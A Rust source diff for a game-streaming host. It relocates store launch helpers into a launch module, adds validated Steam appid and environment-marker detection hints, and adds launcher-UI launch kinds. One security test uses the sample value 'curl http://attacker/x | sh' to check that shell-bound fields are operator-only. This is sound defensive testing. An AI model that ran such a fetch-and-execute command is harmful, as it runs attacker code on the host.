let with_env = |key: &str, value: Option<&str>| {
|
||||
let mut i = input("a", "A");
|
||||
i.detect.env_marker = Some(EnvMarker {
|
||||
key: key.into(),
|
||||
value: value.map(str::to_string),
|
||||
});
|
||||
i
|
||||
};
|
||||
assert!(validate_provider_payload(&[with_env("HEROIC_APP_NAME", Some("Quail"))]).is_ok());
|
||||
assert!(validate_provider_payload(&[with_env("BAD-KEY", None)]).is_err());
|
||||
assert!(validate_provider_payload(&[with_env("", None)]).is_err());
|
||||
assert!(
|
||||
validate_provider_payload(&[with_env("K", Some(&"x".repeat(MAX_ENV_VALUE + 1)))])
|
||||
.is_err()
|
||||
);
|
||||
}
|
||||
|
||||
/// The field-authority rule behind the 2026-08-05 review's H-1: exactly the two fields the host
|
||||
/// later hands to a shell are operator-only. Everything else — including every host-resolved
|
||||
/// launch kind — stays open, so a provider plugin can publish its whole catalogue.
|
||||
#[test]
|
||||
fn privileged_field_is_command_execution_only() {
|
||||
let cmd = LaunchSpec {
|
||||
kind: "command".into(),
|
||||
value: "curl http://attacker/x | sh".into(),
|
||||
};
|
||||
let steam = LaunchSpec {
|
||||
kind: "steam_appid".into(),
|
||||
value: "70".into(),
|
||||
};
|
||||
let prep = vec![crate::hooks::PrepCmd {
|
||||
run: "curl http://attacker/x | sh".into(),
|
||||
undo: None,
|
||||
}];
|
||||
|
||||
assert_eq!(
|
||||
privileged_field(Some(&cmd), &[]),
|
||||
Some("launch.kind = \"command\"")
|
||||
);
|
||||
assert_eq!(privileged_field(None, &prep), Some("prep"));
|
||||
assert_eq!(privileged_field(Some(&steam), &prep), Some("prep"));
|
||||
// The ordinary provider catalogue: nothing privileged, so no lane is refused.
|
||||
assert_eq!(privileged_field(Some(&steam), &[]), None);
|
||||
assert_eq!(privileged_field(None, &[]), None);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn provider_name_and_payload_validation() {
|
||||
assert!(validate_provider_name("romm").is_ok());
|
||||
|
||||
@@ -19,15 +19,34 @@
|
||||
use super::*;
|
||||
|
||||
/// An environment variable a launcher stamps onto the game's process, identifying it.
|
||||
#[derive(Clone, Debug, PartialEq, Eq)]
|
||||
///
|
||||
/// Serializable because it is now half of the inbound [`DetectHint`] too (D3) — a library plugin
|
||||
/// that knows its launcher's marker (Heroic's `HEROIC_APP_NAME`, load-bearing under Proton) has to
|
||||
/// be able to say so, since after extraction the host no longer reads that launcher's files itself.
|
||||
#[derive(Clone, Debug, PartialEq, Eq, Serialize, Deserialize, ToSchema)]
|
||||
pub struct EnvMarker {
|
||||
/// The variable name (e.g. `HEROIC_GAME_ID`).
|
||||
#[schema(example = "HEROIC_APP_NAME")]
|
||||
pub key: String,
|
||||
/// The exact value to require, when the launcher's value identifies *this* title. `None` matches
|
||||
/// the key's mere presence — only safe for launchers that run one game at a time.
|
||||
#[serde(default, skip_serializing_if = "Option::is_none")]
|
||||
pub value: Option<String>,
|
||||
}
|
||||
|
||||
/// The env-var name charset a hint may carry: `[A-Za-z0-9_]{1,64}`, POSIX-shaped. An out-of-charset
|
||||
/// key is not a real environment variable, so accepting one could only ever produce a matcher rule
|
||||
/// that never fires (or, with an absurd length, a needless per-process comparison cost).
|
||||
pub(crate) fn valid_env_key(key: &str) -> bool {
|
||||
!key.is_empty()
|
||||
&& key.len() <= 64
|
||||
&& key.bytes().all(|b| b.is_ascii_alphanumeric() || b == b'_')
|
||||
}
|
||||
|
||||
/// Longest env-var VALUE a hint may pin. Values are compared against every candidate process's
|
||||
/// environment, so an unbounded one is a (small) DoS lever and never a legitimate game id.
|
||||
pub(crate) const MAX_ENV_VALUE: usize = 256;
|
||||
|
||||
/// The signals that identify a launched title's process(es). Every field is optional and
|
||||
/// independent; an all-`None` spec means "this title can't be tracked" (the lease degrades to
|
||||
/// [`crate::gamelease::LeaseKind::Untracked`] and both lifetime behaviors stay inert for it).
|
||||
@@ -115,6 +134,11 @@ impl DetectSpec {
|
||||
self.install_dir = self.install_dir.or(from.install_dir);
|
||||
self.exe = self.exe.or(from.exe);
|
||||
self.process_name = self.process_name.or(from.process_name);
|
||||
// D3: the two store-derived signals are fillable from a hint now that the store may live in
|
||||
// a plugin. Same rule as the other three — the host's own finding wins where it has one,
|
||||
// which for a provider entry is moot (the host scanned nothing for it).
|
||||
self.steam_appid = self.steam_appid.or(from.steam_appid);
|
||||
self.env_marker = self.env_marker.or(from.env_marker);
|
||||
self
|
||||
}
|
||||
}
|
||||
@@ -143,12 +167,31 @@ pub struct DetectHint {
|
||||
/// — see [`DetectSpec::process_name`].
|
||||
#[serde(default, skip_serializing_if = "Option::is_none")]
|
||||
pub process_name: Option<String>,
|
||||
/// The Steam appid, for a title Steam itself installed (D3). On Linux this is the **sharpest**
|
||||
/// signal that exists — Steam wraps every launch, native or Proton, in
|
||||
/// `reaper SteamLaunch AppId=<appid>`, whose lifetime is exactly the game's — so without it a
|
||||
/// steam plugin's lease tracking would degrade from reaper-exact to install-dir prefix matching.
|
||||
#[serde(default, skip_serializing_if = "Option::is_none")]
|
||||
pub steam_appid: Option<u32>,
|
||||
/// A launcher-stamped environment marker (D3) — see [`EnvMarker`].
|
||||
#[serde(default, skip_serializing_if = "Option::is_none")]
|
||||
pub env_marker: Option<EnvMarker>,
|
||||
}
|
||||
|
||||
impl DetectHint {
|
||||
/// Whether the hint says anything at all (all-empty is treated as absent).
|
||||
pub fn is_empty(&self) -> bool {
|
||||
self.trimmed().is_none()
|
||||
self.trimmed().is_none() && self.steam_appid.is_none() && self.env_marker().is_none()
|
||||
}
|
||||
|
||||
/// The env marker, if it is well-formed. A malformed one is dropped rather than rejected, for
|
||||
/// the same reason a blank `install_dir` is: hint fields are hand-writable plugin input, and the
|
||||
/// matcher must never be handed a rule it can't honour.
|
||||
fn env_marker(&self) -> Option<&EnvMarker> {
|
||||
self.env_marker
|
||||
.as_ref()
|
||||
.filter(|m| valid_env_key(&m.key))
|
||||
.filter(|m| m.value.as_ref().is_none_or(|v| v.len() <= MAX_ENV_VALUE))
|
||||
}
|
||||
|
||||
/// The hint with blank fields dropped, or `None` if nothing is left. Console text inputs and
|
||||
@@ -166,14 +209,13 @@ impl DetectHint {
|
||||
/// A provider's hint becomes a spec — the one inbound path into [`DetectSpec`].
|
||||
impl From<&DetectHint> for DetectSpec {
|
||||
fn from(h: &DetectHint) -> Self {
|
||||
let Some((install_dir, exe, process_name)) = h.trimmed() else {
|
||||
return Self::default();
|
||||
};
|
||||
let (install_dir, exe, process_name) = h.trimmed().unwrap_or((None, None, None));
|
||||
Self {
|
||||
install_dir: install_dir.map(PathBuf::from),
|
||||
exe: exe.map(PathBuf::from),
|
||||
process_name: process_name.map(str::to_string),
|
||||
..Default::default()
|
||||
steam_appid: h.steam_appid,
|
||||
env_marker: h.env_marker().cloned(),
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -273,6 +315,7 @@ mod tests {
|
||||
install_dir: Some("".into()),
|
||||
exe: Some(" ".into()),
|
||||
process_name: Some("\t".into()),
|
||||
..Default::default()
|
||||
};
|
||||
assert!(blank.is_empty());
|
||||
assert!(DetectSpec::from(&blank).is_empty(), "nothing to match on");
|
||||
@@ -281,6 +324,7 @@ mod tests {
|
||||
install_dir: Some(" /games/quail ".into()),
|
||||
exe: None,
|
||||
process_name: Some("quail".into()),
|
||||
..Default::default()
|
||||
};
|
||||
assert!(!hint.is_empty());
|
||||
let spec = DetectSpec::from(&hint);
|
||||
@@ -299,6 +343,7 @@ mod tests {
|
||||
install_dir: Some("/games/wrong".into()),
|
||||
exe: Some("/games/real/run".into()),
|
||||
process_name: None,
|
||||
..Default::default()
|
||||
};
|
||||
let merged = found.or_hint(&hint);
|
||||
assert_eq!(
|
||||
@@ -317,6 +362,74 @@ mod tests {
|
||||
.is_empty());
|
||||
}
|
||||
|
||||
/// D3: the two store-derived signals now ride the hint, because after extraction the host no
|
||||
/// longer reads Steam's or Heroic's files itself. Without them a plugin's lease tracking would
|
||||
/// silently degrade — reaper-exact to dir-prefix on Linux Steam, and gone entirely for Heroic
|
||||
/// under Proton, where the env marker is the only thing that works.
|
||||
#[test]
|
||||
fn a_hint_can_carry_the_store_derived_signals() {
|
||||
let hint = DetectHint {
|
||||
steam_appid: Some(440),
|
||||
env_marker: Some(EnvMarker {
|
||||
key: "HEROIC_APP_NAME".into(),
|
||||
value: Some("Quail".into()),
|
||||
}),
|
||||
..Default::default()
|
||||
};
|
||||
assert!(!hint.is_empty(), "either field alone is a real hint");
|
||||
let spec = DetectSpec::from(&hint);
|
||||
assert_eq!(spec.steam_appid, Some(440));
|
||||
assert_eq!(spec.env_marker.as_ref().unwrap().key, "HEROIC_APP_NAME");
|
||||
|
||||
// A steam_appid on its own is enough to be trackable.
|
||||
let only_appid = DetectHint {
|
||||
steam_appid: Some(620),
|
||||
..Default::default()
|
||||
};
|
||||
assert!(!only_appid.is_empty());
|
||||
assert!(!DetectSpec::from(&only_appid).is_empty());
|
||||
|
||||
// The host's own finding still wins where it has one (unchanged rule).
|
||||
let found = DetectSpec::steam(70);
|
||||
assert_eq!(found.or_hint(&hint).steam_appid, Some(70));
|
||||
// …but a field the host had nothing for is filled in.
|
||||
assert_eq!(
|
||||
DetectSpec::dir("/games/x")
|
||||
.or_hint(&hint)
|
||||
.env_marker
|
||||
.unwrap()
|
||||
.key,
|
||||
"HEROIC_APP_NAME"
|
||||
);
|
||||
}
|
||||
|
||||
/// A malformed marker is DROPPED, not honoured — same posture as a blank `install_dir`. The
|
||||
/// matcher must never be handed a rule it cannot evaluate, and these values reach a code path
|
||||
/// that can end processes.
|
||||
#[test]
|
||||
fn a_malformed_env_marker_says_nothing() {
|
||||
let bad = |key: &str, value: Option<String>| DetectHint {
|
||||
env_marker: Some(EnvMarker {
|
||||
key: key.into(),
|
||||
value,
|
||||
}),
|
||||
..Default::default()
|
||||
};
|
||||
assert!(bad("", None).is_empty());
|
||||
assert!(bad("HAS-DASH", None).is_empty(), "not a POSIX env name");
|
||||
assert!(bad("HAS SPACE", None).is_empty());
|
||||
assert!(bad(&"K".repeat(65), None).is_empty(), "over the key cap");
|
||||
assert!(
|
||||
bad("K", Some("v".repeat(MAX_ENV_VALUE + 1))).is_empty(),
|
||||
"over the value cap"
|
||||
);
|
||||
// …and a well-formed one at exactly the caps is kept.
|
||||
assert!(!bad(&"K".repeat(64), Some("v".repeat(MAX_ENV_VALUE))).is_empty());
|
||||
assert!(DetectSpec::from(&bad("HAS-DASH", None))
|
||||
.env_marker
|
||||
.is_none());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn first_token_handles_quotes_and_spaces() {
|
||||
assert_eq!(
|
||||
|
||||
@@ -100,6 +100,7 @@ fn epic_entry(
|
||||
};
|
||||
Some(GameEntry {
|
||||
provider: None,
|
||||
role: GameRole::Game,
|
||||
meta: GameMeta::pc(),
|
||||
id: format!("epic:{app_name}"),
|
||||
store: "epic".into(),
|
||||
@@ -186,25 +187,8 @@ fn epic_art_index(catcache: &Path) -> std::collections::HashMap<String, Artwork>
|
||||
map
|
||||
}
|
||||
|
||||
/// Build the `com.epicgames.launcher://` launch URI from a stored launch value — the triple
|
||||
/// `<namespace>:<catalogItemId>:<appName>` (colons URL-encoded), or a bare `<appName>` fallback.
|
||||
/// Each part is charset-validated (host-derived, but belt-and-suspenders) so no shell/URI injection.
|
||||
#[cfg(windows)]
|
||||
pub(crate) fn epic_launch_uri(value: &str) -> Option<String> {
|
||||
let ok = |s: &str| {
|
||||
!s.is_empty()
|
||||
&& s.bytes()
|
||||
.all(|b| b.is_ascii_alphanumeric() || matches!(b, b'.' | b'_' | b'-'))
|
||||
};
|
||||
let inner = match value.split(':').collect::<Vec<_>>().as_slice() {
|
||||
[ns, cat, app] if ok(ns) && ok(cat) && ok(app) => format!("{ns}%3A{cat}%3A{app}"),
|
||||
[app] if ok(app) => (*app).to_string(),
|
||||
_ => return None,
|
||||
};
|
||||
Some(format!(
|
||||
"com.epicgames.launcher://apps/{inner}?action=launch&silent=true"
|
||||
))
|
||||
}
|
||||
// The `epic` launch mapping (`epic_launch_uri`) lives in `launch.rs` (WP1.1) — this module
|
||||
// enumerates, it does not launch.
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
@@ -236,19 +220,4 @@ mod tests {
|
||||
assert!(epic_entry(&gone, &empty).is_none());
|
||||
std::fs::remove_dir_all(&dir).ok();
|
||||
}
|
||||
|
||||
#[cfg(windows)]
|
||||
#[test]
|
||||
fn epic_launch_uri_triple_bare_and_guard() {
|
||||
assert_eq!(
|
||||
epic_launch_uri("fn:abc:Fortnite").as_deref(),
|
||||
Some("com.epicgames.launcher://apps/fn%3Aabc%3AFortnite?action=launch&silent=true")
|
||||
);
|
||||
assert_eq!(
|
||||
epic_launch_uri("Fortnite").as_deref(),
|
||||
Some("com.epicgames.launcher://apps/Fortnite?action=launch&silent=true")
|
||||
);
|
||||
assert!(epic_launch_uri("bad part:x:y").is_none()); // a space → rejected
|
||||
assert!(epic_launch_uri("").is_none());
|
||||
}
|
||||
}
|
||||
|
||||
@@ -57,6 +57,7 @@ fn gog_games() -> Vec<GameEntry> {
|
||||
let detect = DetectSpec::exe(&exe).with_dir(&path);
|
||||
out.push(GameEntry {
|
||||
provider: None,
|
||||
role: GameRole::Game,
|
||||
meta: GameMeta::pc(),
|
||||
id,
|
||||
store: "gog".into(),
|
||||
@@ -133,38 +134,13 @@ fn gog_play_task(install: &str, id: &str) -> Option<(String, String, String)> {
|
||||
))
|
||||
}
|
||||
|
||||
/// Build the spawn `(command line, working dir)` for a `gog` launch value (`exe \t args \t workdir`,
|
||||
/// all host-resolved from the operator's own disk). Direct exe — no shell, no Galaxy.
|
||||
#[cfg(windows)]
|
||||
pub(crate) fn gog_spawn(value: &str) -> Option<(String, Option<PathBuf>)> {
|
||||
let mut parts = value.split('\t');
|
||||
let exe = parts.next().filter(|s| !s.is_empty())?;
|
||||
let args = parts.next().unwrap_or("");
|
||||
let workdir = parts.next().filter(|s| !s.is_empty()).map(PathBuf::from);
|
||||
let cmdline = if args.trim().is_empty() {
|
||||
format!("\"{exe}\"")
|
||||
} else {
|
||||
format!("\"{exe}\" {args}")
|
||||
};
|
||||
Some((cmdline, workdir))
|
||||
}
|
||||
// The `gog` launch mapping (`gog_spawn`) lives in `launch.rs` (WP1.1) — this module enumerates and
|
||||
// resolves the spawn triple off disk, but turning that triple into a command line is launch-side.
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[cfg(windows)]
|
||||
#[test]
|
||||
fn gog_spawn_parses_and_guards() {
|
||||
let (cmd, wd) = gog_spawn("C:\\Games\\W3\\witcher3.exe\t--skip\tC:\\Games\\W3").unwrap();
|
||||
assert_eq!(cmd, "\"C:\\Games\\W3\\witcher3.exe\" --skip");
|
||||
assert_eq!(wd, Some(std::path::PathBuf::from("C:\\Games\\W3")));
|
||||
let (cmd2, wd2) = gog_spawn("C:\\g.exe").unwrap();
|
||||
assert_eq!(cmd2, "\"C:\\g.exe\"");
|
||||
assert!(wd2.is_none());
|
||||
assert!(gog_spawn("").is_none());
|
||||
}
|
||||
|
||||
#[cfg(windows)]
|
||||
#[test]
|
||||
fn gog_play_task_picks_primary_filetask() {
|
||||
|
||||
@@ -109,6 +109,7 @@ fn heroic_games(path: &Path, runner: &str, key: &str) -> anyhow::Result<Vec<Game
|
||||
};
|
||||
games.push(GameEntry {
|
||||
provider: None,
|
||||
role: GameRole::Game,
|
||||
meta: GameMeta::pc(),
|
||||
id: format!("heroic:{runner}:{app_name}"),
|
||||
store: "heroic".into(),
|
||||
@@ -128,48 +129,8 @@ fn heroic_games(path: &Path, runner: &str, key: &str) -> anyhow::Result<Vec<Game
|
||||
Ok(games)
|
||||
}
|
||||
|
||||
/// Map a `heroic` LaunchSpec value (`<runner>:<appName>`) to the Heroic launch command, run nested in
|
||||
/// gamescope. The host owns this mapping; the client only ever sends the id. CAVEAT: Heroic is a
|
||||
/// single-instance Electron app — in a fresh per-session gamescope it boots, launches the game (which
|
||||
/// renders into that gamescope) and stays hidden via `--no-gui`; but if a Heroic GUI is ALREADY
|
||||
/// running on the box, the spawned process forwards the URI and exits, which would tear the session
|
||||
/// down. The validated path is the fresh-session case; needs live confirmation on a box with Heroic.
|
||||
#[cfg(target_os = "linux")]
|
||||
pub(crate) fn heroic_command(value: &str) -> Option<String> {
|
||||
let (runner, app) = value.split_once(':')?;
|
||||
if !matches!(runner, "legendary" | "gog" | "nile") {
|
||||
return None;
|
||||
}
|
||||
// appName charset (Epic alnum, GOG digits, Amazon alnum) — keep the URI a single safe token.
|
||||
if app.is_empty()
|
||||
|| !app
|
||||
.bytes()
|
||||
.all(|b| b.is_ascii_alphanumeric() || matches!(b, b'.' | b'_' | b'-'))
|
||||
{
|
||||
return None;
|
||||
}
|
||||
let prefix = heroic_launch_prefix()?;
|
||||
// No quotes: gamescope spawns the app by `split_whitespace()`, and the URI has no spaces (appName
|
||||
// is validated above) so it stays a single argv token; `&` is fine (exec'd, not shell-parsed).
|
||||
Some(format!(
|
||||
"{prefix} --no-gui heroic://launch?appName={app}&runner={runner}"
|
||||
))
|
||||
}
|
||||
|
||||
/// How to invoke Heroic: the native `heroic` binary if on `PATH`, else the Flatpak app if its data
|
||||
/// root is present. `None` ⇒ Heroic not found, so no launch command.
|
||||
#[cfg(target_os = "linux")]
|
||||
fn heroic_launch_prefix() -> Option<String> {
|
||||
let on_path = std::env::var_os("PATH")
|
||||
.is_some_and(|paths| std::env::split_paths(&paths).any(|d| d.join("heroic").is_file()));
|
||||
if on_path {
|
||||
return Some("heroic".into());
|
||||
}
|
||||
let flatpak = std::env::var_os("HOME")
|
||||
.map(PathBuf::from)
|
||||
.is_some_and(|h| h.join(".var/app/com.heroicgameslauncher.hgl").is_dir());
|
||||
flatpak.then(|| "flatpak run com.heroicgameslauncher.hgl".into())
|
||||
}
|
||||
// The `heroic` launch mapping (`heroic_command` + its launcher-prefix probe) lives in `launch.rs`
|
||||
// (WP1.1) — this module enumerates, it does not launch.
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
|
||||
@@ -1,12 +1,14 @@
|
||||
//! Title launch: resolve a library id / raw command into an executable command line (per-store +
|
||||
//! per-OS), and the gamescope-session launch helpers. Split out of the `library` facade (plan §W5).
|
||||
//!
|
||||
//! This module owns the **whole launch side** of the library: the `kind` vocabulary, its per-kind
|
||||
//! charset validators, and the per-OS resolvers. That split is deliberate and load-bearing — the
|
||||
//! scanner modules beside it do *enumeration only*, so they can be lifted out into library plugins
|
||||
//! without taking any launch logic with them (design/library-scanner-plugins.md D1: a client sends
|
||||
//! only an entry id and the host resolves the [`LaunchSpec`] it holds, which stays true whether the
|
||||
//! entry was enumerated in-process or reconciled in by a plugin).
|
||||
|
||||
use super::custom::valid_steam_appid;
|
||||
#[cfg(target_os = "linux")]
|
||||
use super::heroic::heroic_command;
|
||||
use super::*;
|
||||
#[cfg(windows)]
|
||||
use super::{epic::epic_launch_uri, gog::gog_spawn};
|
||||
|
||||
/// Everything a session needs about the title it is launching, resolved in **one** library scan:
|
||||
/// what to run, what to call it, and how to recognize it once it is running.
|
||||
@@ -84,6 +86,25 @@ fn command_for(spec: &LaunchSpec) -> Option<String> {
|
||||
// Heroic: `<runner>:<appName>` → the validated heroic://launch command (see heroic_command).
|
||||
#[cfg(target_os = "linux")]
|
||||
"heroic" => heroic_command(&spec.value),
|
||||
// A launcher entry (D4): open the Steam client itself, in Big Picture or on the desktop.
|
||||
// Nested in gamescope this is the SteamOS game-mode shape.
|
||||
"steam_ui" => match spec.value.as_str() {
|
||||
"bigpicture" => Some("steam -gamepadui".into()),
|
||||
"desktop" => Some("steam".into()),
|
||||
_ => None,
|
||||
},
|
||||
// The other launchers' own UIs (D4). The host builds the command — a plugin only names
|
||||
// which launcher — so no shell string ever crosses the wire.
|
||||
#[cfg(target_os = "linux")]
|
||||
"launcher_ui" => match spec.value.as_str() {
|
||||
// The same resolution the `heroic` game launches use (native binary, else Flatpak), just
|
||||
// without `--no-gui` and without a URI: that opens Heroic's window, which IS the tile.
|
||||
"heroic" => heroic_launch_prefix(),
|
||||
// Bare `lutris` opens the Lutris window; with a `lutris:rungameid/…` URI it launches a
|
||||
// game instead (the `lutris_id` kind above).
|
||||
"lutris" => Some("lutris".into()),
|
||||
_ => None,
|
||||
},
|
||||
// Trusted: the command comes from the host's own custom store, never the client.
|
||||
"command" => (!spec.value.trim().is_empty()).then(|| spec.value.clone()),
|
||||
_ => None,
|
||||
@@ -138,6 +159,21 @@ fn windows_launch_for(spec: &LaunchSpec) -> Option<(String, Option<std::path::Pa
|
||||
};
|
||||
Some((cmdline, None))
|
||||
}
|
||||
// A launcher entry (D4): open the Steam client's own UI. Same Steam.exe-then-explorer ladder
|
||||
// as `steam_appid`, and the URI is one of exactly two host-owned literals — nothing from the
|
||||
// entry is interpolated at all.
|
||||
"steam_ui" => {
|
||||
let uri = match spec.value.as_str() {
|
||||
"bigpicture" => "steam://open/bigpicture",
|
||||
"desktop" => "steam://open/main",
|
||||
_ => return None,
|
||||
};
|
||||
let cmdline = match steam_exe() {
|
||||
Some(exe) => format!("\"{}\" \"{uri}\"", exe.display()),
|
||||
None => format!("explorer.exe \"{uri}\""),
|
||||
};
|
||||
Some((cmdline, None))
|
||||
}
|
||||
// Epic: open the (host-built, validated) com.epicgames.launcher:// URI via explorer.exe — a
|
||||
// concrete EXE that resolves the registered protocol handler as the user; the URI is a single
|
||||
// argv element (no shell, no cmd /c). Same pattern as the steam explorer fallback.
|
||||
@@ -191,6 +227,152 @@ fn steam_exe() -> Option<std::path::PathBuf> {
|
||||
None
|
||||
}
|
||||
|
||||
// ------------------------------------------------------- per-kind launch values (host-owned ABI)
|
||||
//
|
||||
// Each helper below turns a store's launch VALUE — the only part a scanner (or, after extraction, a
|
||||
// library plugin) supplies — into the URI/command line the host actually runs. They live here rather
|
||||
// than beside the enumeration that produces the value because the host keeps owning URI construction
|
||||
// and spawning no matter where the enumeration came from (D1). Every one of them is total and
|
||||
// validating: an unparseable or hostile value yields `None`, never a partially-interpolated command.
|
||||
|
||||
/// A digits-only Steam appid: the sole client-influenced part of a Steam launch, validated before it
|
||||
/// is interpolated into any command / URI (so a client-sent id can never carry shell or URI syntax).
|
||||
/// Cross-platform — used by the Linux shell mapping ([`command_for`]) and the Windows spawn mapping
|
||||
/// ([`windows_launch_for`]).
|
||||
///
|
||||
/// Also accepts the 64-bit non-Steam-shortcut game id ([`shortcut_gameid`]), which is likewise
|
||||
/// digits — the two share the `steam_appid` kind precisely because `rungameid` takes either.
|
||||
pub(crate) fn valid_steam_appid(value: &str) -> bool {
|
||||
!value.is_empty() && value.bytes().all(|b| b.is_ascii_digit())
|
||||
}
|
||||
|
||||
/// The 64-bit game id `steam://rungameid/` needs to launch a non-Steam shortcut: high dword = the
|
||||
/// 32-bit shortcut appid, low dword = the shortcut marker `0x0200_0000`. (Handing `rungameid` the
|
||||
/// bare 32-bit appid does not launch a shortcut — it must be this composed id.)
|
||||
pub(crate) fn shortcut_gameid(appid: u32) -> u64 {
|
||||
((appid as u64) << 32) | 0x0200_0000
|
||||
}
|
||||
|
||||
/// The `steam_ui` launch values (D4) — which Steam UI a launcher entry opens. A closed two-value
|
||||
/// enum, validated on the way IN (the reconcile payload) as well as on the way out, so an entry can
|
||||
/// never carry a third value that silently resolves to nothing at launch time.
|
||||
pub(crate) fn valid_steam_ui(value: &str) -> bool {
|
||||
matches!(value, "bigpicture" | "desktop")
|
||||
}
|
||||
|
||||
/// The launcher UIs **this host** can open, as `launcher_ui` values (D4).
|
||||
///
|
||||
/// One kind for every launcher but Steam, rather than one kind each: they all have exactly a single
|
||||
/// UI to open, so the value is just which launcher. Steam keeps its own [`valid_steam_ui`] kind
|
||||
/// because it has two (Big Picture and the desktop client), which is a genuinely different choice.
|
||||
///
|
||||
/// Platform-gated, because a value naming a launcher this OS cannot run is not a tile that merely
|
||||
/// looks odd — it is one that fails at launch. Validated inbound too, so a plugin gets a 400 it can
|
||||
/// act on instead of publishing a dead entry.
|
||||
///
|
||||
/// **Why a typed kind at all**, when design D4 originally said non-Steam launchers would ride the
|
||||
/// `command` kind: the 2026-08-05 review made `launch.kind = "command"` operator-only (it is handed
|
||||
/// to a shell), so a plugin publishing one is refused. A typed kind keeps D1's rule intact — the
|
||||
/// plugin supplies a validated *value*, the host builds the command — and is the only way a scanner
|
||||
/// plugin can offer a launcher tile at all.
|
||||
fn launcher_ui_stores() -> &'static [&'static str] {
|
||||
#[cfg(target_os = "linux")]
|
||||
{
|
||||
&["heroic", "lutris"]
|
||||
}
|
||||
// Windows launchers (Epic, GOG Galaxy, the Xbox app) are not wired yet — each needs its own
|
||||
// verified activation, and an unverified guess would ship a tile that does nothing.
|
||||
#[cfg(not(target_os = "linux"))]
|
||||
{
|
||||
&[]
|
||||
}
|
||||
}
|
||||
|
||||
/// Is this a `launcher_ui` value this host can resolve?
|
||||
pub(crate) fn valid_launcher_ui(value: &str) -> bool {
|
||||
launcher_ui_stores().contains(&value)
|
||||
}
|
||||
|
||||
/// Map a `heroic` LaunchSpec value (`<runner>:<appName>`) to the Heroic launch command, run nested in
|
||||
/// gamescope. The host owns this mapping; the client only ever sends the id. CAVEAT: Heroic is a
|
||||
/// single-instance Electron app — in a fresh per-session gamescope it boots, launches the game (which
|
||||
/// renders into that gamescope) and stays hidden via `--no-gui`; but if a Heroic GUI is ALREADY
|
||||
/// running on the box, the spawned process forwards the URI and exits, which would tear the session
|
||||
/// down. The validated path is the fresh-session case; needs live confirmation on a box with Heroic.
|
||||
#[cfg(target_os = "linux")]
|
||||
pub(crate) fn heroic_command(value: &str) -> Option<String> {
|
||||
let (runner, app) = value.split_once(':')?;
|
||||
if !matches!(runner, "legendary" | "gog" | "nile") {
|
||||
return None;
|
||||
}
|
||||
// appName charset (Epic alnum, GOG digits, Amazon alnum) — keep the URI a single safe token.
|
||||
if app.is_empty()
|
||||
|| !app
|
||||
.bytes()
|
||||
.all(|b| b.is_ascii_alphanumeric() || matches!(b, b'.' | b'_' | b'-'))
|
||||
{
|
||||
return None;
|
||||
}
|
||||
let prefix = heroic_launch_prefix()?;
|
||||
// No quotes: gamescope spawns the app by `split_whitespace()`, and the URI has no spaces (appName
|
||||
// is validated above) so it stays a single argv token; `&` is fine (exec'd, not shell-parsed).
|
||||
Some(format!(
|
||||
"{prefix} --no-gui heroic://launch?appName={app}&runner={runner}"
|
||||
))
|
||||
}
|
||||
|
||||
/// How to invoke Heroic: the native `heroic` binary if on `PATH`, else the Flatpak app if its data
|
||||
/// root is present. `None` ⇒ Heroic not found, so no launch command.
|
||||
#[cfg(target_os = "linux")]
|
||||
fn heroic_launch_prefix() -> Option<String> {
|
||||
let on_path = std::env::var_os("PATH")
|
||||
.is_some_and(|paths| std::env::split_paths(&paths).any(|d| d.join("heroic").is_file()));
|
||||
if on_path {
|
||||
return Some("heroic".into());
|
||||
}
|
||||
let flatpak = std::env::var_os("HOME")
|
||||
.map(PathBuf::from)
|
||||
.is_some_and(|h| h.join(".var/app/com.heroicgameslauncher.hgl").is_dir());
|
||||
flatpak.then(|| "flatpak run com.heroicgameslauncher.hgl".into())
|
||||
}
|
||||
|
||||
/// Map an `epic` LaunchSpec value to the Epic Games Launcher URI. The value is either the full
|
||||
/// `<namespace>:<catalogItemId>:<appName>` triple (what the manifests carry) or a bare `appName`;
|
||||
/// every part is charset-checked so the URI stays one safe argv token.
|
||||
#[cfg(windows)]
|
||||
pub(crate) fn epic_launch_uri(value: &str) -> Option<String> {
|
||||
let ok = |s: &str| {
|
||||
!s.is_empty()
|
||||
&& s.bytes()
|
||||
.all(|b| b.is_ascii_alphanumeric() || matches!(b, b'.' | b'_' | b'-'))
|
||||
};
|
||||
let inner = match value.split(':').collect::<Vec<_>>().as_slice() {
|
||||
[ns, cat, app] if ok(ns) && ok(cat) && ok(app) => format!("{ns}%3A{cat}%3A{app}"),
|
||||
[app] if ok(app) => (*app).to_string(),
|
||||
_ => return None,
|
||||
};
|
||||
Some(format!(
|
||||
"com.epicgames.launcher://apps/{inner}?action=launch&silent=true"
|
||||
))
|
||||
}
|
||||
|
||||
/// Map a `gog` LaunchSpec value — the tab-separated `exe \t args \t workdir` spawn triple the scanner
|
||||
/// derived from `goggame-<id>.info` — to a `(command line, working dir)`. GOG games are spawned
|
||||
/// directly (no Galaxy), so the exe is quoted and the arguments ride verbatim.
|
||||
#[cfg(windows)]
|
||||
pub(crate) fn gog_spawn(value: &str) -> Option<(String, Option<PathBuf>)> {
|
||||
let mut parts = value.split('\t');
|
||||
let exe = parts.next().filter(|s| !s.is_empty())?;
|
||||
let args = parts.next().unwrap_or("");
|
||||
let workdir = parts.next().filter(|s| !s.is_empty()).map(PathBuf::from);
|
||||
let cmdline = if args.trim().is_empty() {
|
||||
format!("\"{exe}\"")
|
||||
} else {
|
||||
format!("\"{exe}\" {args}")
|
||||
};
|
||||
Some((cmdline, workdir))
|
||||
}
|
||||
|
||||
/// Launch a GameStream `apps.json` command (operator-typed, trusted — never client-set) into the
|
||||
/// interactive Windows user session, AFTER capture is up (the host is SYSTEM). The Linux paths go
|
||||
/// through the compositor-aware [`launch_session_command`] instead.
|
||||
@@ -360,6 +542,145 @@ mod tests {
|
||||
}
|
||||
}
|
||||
|
||||
/// The `steam_ui` launcher kind (D4): a closed two-value enum, mapped to the Steam client's own
|
||||
/// UI on each OS. Nothing from the entry is interpolated — the value only SELECTS between two
|
||||
/// host-owned literals — so there is no injection surface at all here.
|
||||
#[test]
|
||||
fn steam_ui_is_a_closed_two_value_enum() {
|
||||
assert!(valid_steam_ui("bigpicture"));
|
||||
